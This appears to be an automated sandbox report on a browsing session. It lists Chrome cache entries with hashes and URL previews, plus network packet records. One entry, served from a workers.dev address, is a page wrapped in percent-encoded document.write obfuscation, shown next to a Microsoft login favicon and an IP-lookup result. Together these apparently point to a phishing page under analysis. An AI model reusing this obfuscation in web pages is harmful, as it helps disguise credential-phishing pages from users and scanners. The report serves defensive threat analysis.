Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3789)
Category:	downloaded
Size (bytes):	3794
Entropy (8bit):	5.844789936819082
Encrypted:	false
SSDEEP:	96:e7+RMlieH6666/CfOrhXsxIyL2XBBs8IjknxX6lqhffQffo:xcvH6666/+z2XBi5Yvl
MD5:	6E28D5EB315291EC2288326D00406417
SHA1:	F627E89327BBBEE2CA665AA0E098E45B1377A6AF
SHA-256:	706D8D203E55C4C10CAC18C65162F70F102B28563B3733E6DF362842D36198CB
SHA-512:	F75B62F94822CF719DD11E6A485183FC46C9A0E68AED104B59E7A448B6E7C5229C1573ACD71134BA682EF244018593E9D93682FB138BB1FA27A86B15D7B831AE
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["final jeopardy today","caitlin clark paige bueckers photos","prime energy drink lawsuit pfas","manor lords game","weather storms tornadoes","one piece chapter 1113 discussion","the freak radio station dallas","starbucks drinks half off"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWp2bjZ6eV82EgpWaWRlbyBnYW1lMrcQZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBYUFBQUNBd0VCQUFBQUFBQUFBQUFBQUFBRUJnTUZCd0lCLzhRQU1SQUFBZ0VEQXdNREFnVURCUUFBQUFBQUFRSURCQVVSQUJJaEV6RkJCbEdCSW5FVU1tR1JvU1BSNFFja00wSlMvOFFBR0

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	dropped
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1293
Entropy (8bit):	5.448893852817212
Encrypted:	false
SSDEEP:	24:81/nQOY7a4gwAZzhnQOY7a4goRVc+u/rnQOY7a4gHwy96DGSSf7:coOEa4gvGOEa4goRVc+uUOEa4gHN0oD
MD5:	CBA4ED6C809962AC6C2A26842183B67A
SHA1:	3F8E077AFC8EF5BAB7FA626EA782DAE34D419BBE
SHA-256:	AAE65C231008861C6430EBE296C926E728C4D2CCB1492F86E42D760E9B67D9A5
SHA-512:	84894B90DDA3CA3487F3E4F87F8244C78BA726331AC3EA290F6BD64830B0A21856A42333CC4EDBBF23DC2F063C53AD71B3F41864275D874AEBD37C198AE1CBE0
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap
Preview:	/* vietnamese /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26500)
Category:	dropped
Size (bytes):	26682
Entropy (8bit):	4.82962335901065
Encrypted:	false
SSDEEP:	192:kP6hT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPhJVR8XD7mycP:Phal4w0QK+PwK05eavpmgP1eXD7mycP
MD5:	76F34B71FC9FB641507FF6A822CC07F5
SHA1:	73ED2F8F21CD40FB496E61306ACBB5849D4DBFF4
SHA-256:	6DEA47458A4CD7CD7312CC780A53C62E0C8B3CCC8D0B13C1AC0EA6E3DFCECEA8
SHA-512:	6C4002CE78247B50BFA835A098980AF340E4E9F05F7097C1E83301289051CE1282E647ABAB87DB28A32FBFE0263C7318D2444B7D57875873908D6D5ED2AF882F
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arro

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	downloaded
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65474)
Category:	downloaded
Size (bytes):	116046
Entropy (8bit):	3.1309009585059204
Encrypted:	false
SSDEEP:	768:eJbzK0hKcIbG9mCcHML46HjLE14ivYNAXiDuMj//d9nQEuCHeWNepI2BHNUd0e8U:Q
MD5:	56F17B24BCA1CD88606A0A4EFBE138C7
SHA1:	D65FDF6F8FB6C682E2B42C52919E925D34B06083
SHA-256:	9CC6EFBD2D690354AB879CDABDD3C90BFB57A7D645809D2402080EFBD5155616
SHA-512:	0E811A532C4EC2D17F7E80D7C17587C36FB9639848BBADFB69206B61872FB2F99A13F5B4DC52593DF4831819394F7D68152A81D57A22E86E579AC339261671F2
Malicious:	false
Reputation:	low
URL:	https://worker-curly-silence-18d1.pistisarte.workers.dev/
Preview:	<script>. code by https://www.html-code-generator.com -->.document.write(unescape('%0A%3C%21%64%6F%63%74%79%70%65%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%65%6E%22%3E%0A%0A%3C%68%65%61%64%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F%62%6F%74%73%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%69%6E%64%65%78%22%20%2F%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%61%6A%61%78%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%61%6A%61%78%2F%6C%69%62%73%2F%6A%71%75%65%72%79%2F%32%2E%32%2E%34%2F%6A%71%75%65%72%79%2E%6D%69%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%63%6F%64%65%2E%6A%71%75%65%72%79%2E%63%6F%6D%2F%6A%71%75%65%72%79%2D%33%2E%31%2E%31%2E%6D%69%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%63%6F%64%65%2E%6A%71%75%65%72%79%2E%63%6F%6D%2F%6A%71%75%65%72%79%2D%33%2E%33%2E%31%2E%6A%73%

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65325)
Category:	downloaded
Size (bytes):	144877
Entropy (8bit):	5.049937202697915
Encrypted:	false
SSDEEP:	1536:GcoqwrUPyDHU7c7TcDEBi82NcuSELL4d/+oENM6HN26Q:VoPgPard2oENM6HN26Q
MD5:	450FC463B8B1A349DF717056FBB3E078
SHA1:	895125A4522A3B10EE7ADA06EE6503587CBF95C5
SHA-256:	2C0F3DCFE93D7E380C290FE4AB838ED8CADFF1596D62697F5444BE460D1F876D
SHA-512:	93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EA5ECF9228801D962F5D
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:border-box}html{font-family:sans

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.534219021180341
Encrypted:	false
SSDEEP:	3:YMpLUTOdrn:YMpLJn
MD5:	8C413C9D511C6A527C31B15185B24998
SHA1:	9E8ECB4CC1B448FFCA14D1F52BF13AA49D8B7DC5
SHA-256:	FD0B7642AA523635276BE2474F0E1BD0A793A373FAAB99FFFC76E2B2938C2ECF
SHA-512:	04F4452FFD417DE6E37F0B4E163C6E47FE79520646738D44598F91B89EEFD3F41B32C6DC096A6341EFAF129EF847AE678DA1A8A47E816BAB58D6C585DA3C422A
Malicious:	false
Reputation:	low
Preview:	{"ip":"154.16.192.185"}

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26500)
Category:	downloaded
Size (bytes):	26682
Entropy (8bit):	4.82962335901065
Encrypted:	false
SSDEEP:	192:kP6hT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPhJVR8XD7mycP:Phal4w0QK+PwK05eavpmgP1eXD7mycP
MD5:	76F34B71FC9FB641507FF6A822CC07F5
SHA1:	73ED2F8F21CD40FB496E61306ACBB5849D4DBFF4
SHA-256:	6DEA47458A4CD7CD7312CC780A53C62E0C8B3CCC8D0B13C1AC0EA6E3DFCECEA8
SHA-512:	6C4002CE78247B50BFA835A098980AF340E4E9F05F7097C1E83301289051CE1282E647ABAB87DB28A32FBFE0263C7318D2444B7D57875873908D6D5ED2AF882F
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free-v4-shims.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arro

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.413909765557392
Encrypted:	false
SSDEEP:	3:HwlDKthdVEk+:Qlq6k+
MD5:	73517B6E479154EA93DB7EF1C8EAC8E6
SHA1:	9FFE5C20017A057B523ACC3090C4D27A44A69303
SHA-256:	4188C61EA73036F0E0FC71E443663D848B3BE5BABF669D1BE0BD4A678DEED603
SHA-512:	18A81204807638E7AFE1A5C7B227A63850A828F816F6A32148B5F6578CF992301EEC63C65CA4F290522C410C78815B7198F599BEA1096FEB1854862C673A7235
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnI4r1HgOWuyxIFDc5BTHoSEAliOXQC00F0lhIFDYOoWz0=?alt=proto
Preview:	CgkKBw3OQUx6GgAKCQoHDYOoWz0aAA==

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 27, 2024 00:10:54.983988047 CEST	49678	443	192.168.2.4	104.46.162.224
Apr 27, 2024 00:10:57.030697107 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 27, 2024 00:11:06.730704069 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 27, 2024 00:11:07.119247913 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.119273901 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.119450092 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.119472980 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.119481087 CEST	49733	443	192.168.2.4	142.251.40.196
